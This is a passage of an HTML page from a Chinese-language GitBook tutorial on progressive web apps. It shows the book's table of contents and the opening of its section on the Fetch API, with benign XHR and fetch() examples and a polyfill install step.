data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"1-promise.html\">\n            \n                <a href=\"1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"2-async-function.html\">\n            \n                <a href=\"2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.4.3\" data-path=\"3-fetch-api.html\">\n            \n                <a href=\"3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"4-cache-api.html\">\n            \n                <a href=\"4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"5-indexeddb.html\">\n            \n                <a href=\"5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >3.3 Fetch API</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#fetch-api\"><b></b>Fetch API</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x517C;&#x5BB9;&#x6027;\"><b></b>&#x517C;&#x5BB9;&#x6027;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;\"><b></b>&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#fetch\"><b></b>fetch()</a></li><li><span class=\"title-icon \"></span><a href=\"#request\"><b></b>Request</a></li><li><span class=\"title-icon \"></span><a href=\"#response\"><b></b>Response</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#fetch-api-&#x4E0E;-xhr-&#x7684;&#x5BF9;&#x6BD4;\"><b></b>Fetch API &#x4E0E; XHR &#x7684;&#x5BF9;&#x6BD4;</a></li><li><span class=\"title-icon \"></span><a href=\"#fetch-api-&#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;\"><b></b>Fetch API &#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;</a></li></ul></ul></div><a href=\"#fetch-api\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"fetch-api\"><a name=\"fetch-api\" class=\"anchor-navigation-ex-anchor\" href=\"#fetch-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"fetch-api\" class=\"plugin-anchor\" href=\"#fetch-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Fetch API</h1>\n<p>Fetch API &#x662F;&#x76EE;&#x524D;&#x6700;&#x65B0;&#x7684;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x5B83;&#x5728;&#x529F;&#x80FD;&#x4E0A;&#x4E0E; XMLHttpRequest&#xFF08;XHR&#xFF09;&#x7C7B;&#x4F3C;&#xFF0C;&#x90FD;&#x662F;&#x4ECE;&#x670D;&#x52A1;&#x7AEF;&#x5F02;&#x6B65;&#x83B7;&#x53D6;&#x6570;&#x636E;&#x6216;&#x8D44;&#x6E90;&#x7684;&#x65B9;&#x6CD5;&#x3002;&#x5BF9;&#x4E8E;&#x6709;&#x8FC7; AJAX &#x5F00;&#x53D1;&#x7ECF;&#x9A8C;&#x7684;&#x8BFB;&#x8005;&#x5E94;&#x8BE5;&#x6DF1;&#x6709;&#x4F53;&#x4F1A;&#xFF0C;&#x57FA;&#x4E8E; XHR &#x7684;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x65B9;&#x6CD5;&#x5728;&#x5B9E;&#x73B0;&#x4E0A;&#x6BD4;&#x8F83;&#x590D;&#x6742;&#x3002;&#x4E0B;&#x9762;&#x7B80;&#x5355;&#x6F14;&#x793A;&#x5982;&#x4F55;&#x901A;&#x8FC7; XHR &#x53D1;&#x9001;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5B9E;&#x4F8B;&#x5316; XMLHttpRequest</span>\n<span class=\"token keyword\">let</span> xhr <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">XMLHttpRequest</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5B9A;&#x4E49;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#xFF0C;&#x6253;&#x5370;&#x7ED3;&#x679C;</span>\nxhr<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onload</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x8BF7;&#x6C42;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x5B9A;&#x4E49;&#x52A0;&#x8F7D;&#x51FA;&#x9519;&#x65F6;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#xFF0C;&#x6253;&#x5370;&#x9519;&#x8BEF;</span>\nxhr<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onerror</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">err</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x8BBE;&#x7F6E;&#x8BF7;&#x6C42;&#x76EE;&#x6807;</span>\nxhr<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;GET&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;/path/to/text&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5F00;&#x59CB;&#x53D1;&#x8D77;&#x8BF7;&#x6C42;</span>\nxhr<span class=\"token punctuation\">.</span><span class=\"token function\">send</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4ECE;&#x4E0A;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x5F53;&#x4E2D;&#x53EF;&#x4EE5;&#x611F;&#x53D7;&#x5230;&#xFF0C;&#x57FA;&#x4E8E;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x673A;&#x5236;&#x7684; XHR &#x5728;&#x7F16;&#x7A0B;&#x5B9E;&#x73B0;&#x7684;&#x601D;&#x8DEF;&#x4E0A;&#x975E;&#x5E38;&#x53CD;&#x601D;&#x7EF4;&#xFF0C;&#x8981;&#x5B9E;&#x73B0;&#x8FD9;&#x6837;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; GET &#x8BF7;&#x6C42;&#x6240;&#x9700;&#x4EE3;&#x7801;&#x8F83;&#x591A;&#xFF0C;&#x4E00;&#x65E6;&#x529F;&#x80FD;&#x53D8;&#x5F97;&#x590D;&#x6742;&#x5F88;&#x5BB9;&#x6613;&#x4F1A;&#x9020;&#x6210;&#x6DF7;&#x4E71;&#x3002;&#x56E0;&#x6B64;&#x5728;&#x5B9E;&#x9645;&#x5E94;&#x7528;&#x5F53;&#x4E2D;&#xFF0C;&#x4E00;&#x822C;&#x4F1A;&#x9009;&#x62E9;&#x5C01;&#x88C5;&#x597D;&#x7684;&#x51FD;&#x6570;&#x8FDB;&#x884C;&#x4F7F;&#x7528;&#xFF0C;&#x6BD4;&#x5982;&#x8F83;&#x4E3A;&#x5E38;&#x89C1;&#x7684;&#x662F; jQuery &#x6240;&#x63D0;&#x4F9B;&#x7684; $.ajax &#x65B9;&#x6CD5;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x4F7F;&#x7528; Fetch API &#x6765;&#x5B9E;&#x73B0;&#x4E0A;&#x8FF0;&#x529F;&#x80FD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/text&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;GET&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x8BF7;&#x6C42;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">err</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x7ECF;&#x8FC7;&#x5BF9;&#x6BD4;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#xFF0C;&#x5728;&#x4F7F;&#x7528; Fetch API &#x4E4B;&#x540E;&#xFF0C;&#x4EE3;&#x7801;&#x903B;&#x8F91;&#x53D8;&#x5F97;&#x66F4;&#x6E05;&#x6670;&#xFF0C;&#x6240;&#x9700;&#x7684;&#x4EE3;&#x7801;&#x4E5F;&#x53D8;&#x5F97;&#x66F4;&#x5C11;&#x3002;&#x5F53;&#x7136; Fetch API &#x7684;&#x4F18;&#x70B9;&#x8FD8;&#x4E0D;&#x6B62;&#x8FD9;&#x4E9B;&#xFF0C;&#x5728;&#x672C;&#x8282;&#x7684;&#x5185;&#x5BB9;&#x5F53;&#x4E2D;&#xFF0C;&#x5C06;&#x9010;&#x6B65;&#x5BF9; Fetch API &#x8FDB;&#x884C;&#x66F4;&#x52A0;&#x6DF1;&#x5165;&#x7684;&#x5B66;&#x4E60;&#x3002;</p>\n<h2 id=\"&#x517C;&#x5BB9;&#x6027;\"><a name=\"&#x517C;&#x5BB9;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x517C;&#x5BB9;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x517C;&#x5BB9;&#x6027;\" class=\"plugin-anchor\" href=\"#&#x517C;&#x5BB9;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x517C;&#x5BB9;&#x6027;</h2>\n<p>Fetch API &#x7684;&#x6807;&#x51C6;&#x76EE;&#x524D;&#x7531; WHATWG &#x7EC4;&#x7EC7;&#x8FDB;&#x884C;&#x5236;&#x5B9A;&#x4E0E;&#x7EF4;&#x62A4;&#xFF0C;&#x867D;&#x7136;&#x5C1A;&#x672A;&#x7EB3;&#x5165; W3C &#x89C4;&#x8303;&#x5F53;&#x4E2D;&#xFF0C;&#x4F46;&#x4ECE; Can I Use &#x7F51;&#x7AD9;&#x7684;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#x6765;&#x770B;&#xFF0C;&#x5404;&#x5927;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668;&#x5DF2;&#x7ECF;&#x57FA;&#x672C;&#x4E0A;&#x5B9E;&#x73B0;&#x4E86;&#x5BF9; Fetch API &#x7684;&#x652F;&#x6301;&#x3002;</p>\n<p><img src=\"img/can-i-use-fetch.png\" alt=\"Fetch API &#x7684;&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;&#xFF08;&#x6570;&#x636E;&#x6765;&#x6E90;&#xFF1A;caniuse.com&#xFF09;\"></p>\n<p>&#x5BF9;&#x4E8E;&#x5C1A;&#x672A;&#x652F;&#x6301;&#x6216;&#x652F;&#x6301;&#x5EA6;&#x4E0D;&#x5B8C;&#x6574;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5F00;&#x6E90;&#x793E;&#x533A;&#x4E5F;&#x63D0;&#x4F9B;&#x4E86;&#x76F8;&#x5173; Polyfill&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; npm &#x8FDB;&#x884C;&#x5B89;&#x88C5;&#x548C;&#x4F7F;&#x7528;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\"><span class=\"token function\">npm</span> <span class=\"token function\">install</span> --save whatwg-fetch\n</code></pre>\n<p>&#x5B89;&#x88C5;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;&#x53EA;&#x9700;&#x5728; JS &#x5165;&#x53E3;&#x6587;&#x4EF6;&#x5F15;&#x5165; Polyfill &#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">import</span> <span class=\"token string\">&apos;whatwg-fetch&apos;</span>\n<span class=\"token comment\">// &#x5F15;&#x5165; polyfill &#x4E4B;&#x540E;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x6B63;&#x5E38;&#x4F7F;&#x7528; Fetch API &#x4E86;</span>\nwindow<span class=\"token punctuation\">.</span><span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token comment\">/* &#x76F8;&#x5173;&#x53C2;&#x6570; */</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5BF9;&#x4E8E;&#x4E0D;&#x4F7F;&#x7528; npm &#x7684;&#x9879;&#x76EE;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x5230; whatwg-fetch &#x7684; <a href=\"https://github.com/github/fetch\" target=\"_blank\">GitHub &#x4E3B;&#x9875;</a>&#x76F4;&#x63A5;&#x4E0B;&#x8F7D;&#x5E76;&#x4F7F;&#x7528; fetch.umd.js &#x6587;&#x4EF6;&#x3002;</p>\n<h2 id=\"&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;\"><a name=\"&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;\" class=\"plugin-anchor\" href=\"#&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6982;&#x5FF5;&#x548C;&#x7528;&#x6CD5;</h2>\n<p>Fetch API &#x9996;&#x5148;&#x63D0;&#x4F9B;&#x4E86;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x76F8;&#x5173;&#x7684;&#x65B9;&#x6CD5; <code>fetch()</code>&#xFF0C;&#x5176;&#x6B21;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x7528;&#x4E8E;&#x63CF;&#x8FF0;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684; Request &#x7C7B;&#xFF0C;&#x4EE5;&#x53CA;&#x63CF;&#x8FF0;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x7684; Response &#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x80FD;&#x591F;&#x4EE5;&#x4E00;&#x79CD;&#x7EDF;&#x4E00;&#x7684;&#x5F62;&#x5F0F;&#x5C06;&#x8D44;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x8FC7;&#x7A0B;&#x5E94;&#x7528;&#x5230;&#x66F4;&#x591A;&#x7684;&#x573A;&#x666F;&#x5F53;&#x4E2D;&#x3002;</p>\n<h3 id=\"fetch\"><a name=\"fetch\" class=\"anchor-navigation-ex-anchor\" href=\"#fetch\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"fetch\" class=\"plugin-anchor\" href=\"#fetch\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>fetch()</h3>\n<p>Fetch API &#x63D0;&#x4F9B;&#x4E86; <code>fetch()</code> &#x7528;&#x6765;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5E76;&#x83B7;&#x5F97;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x3002;&#x5B83;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x76F8;&#x5173;&#x8BED;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span 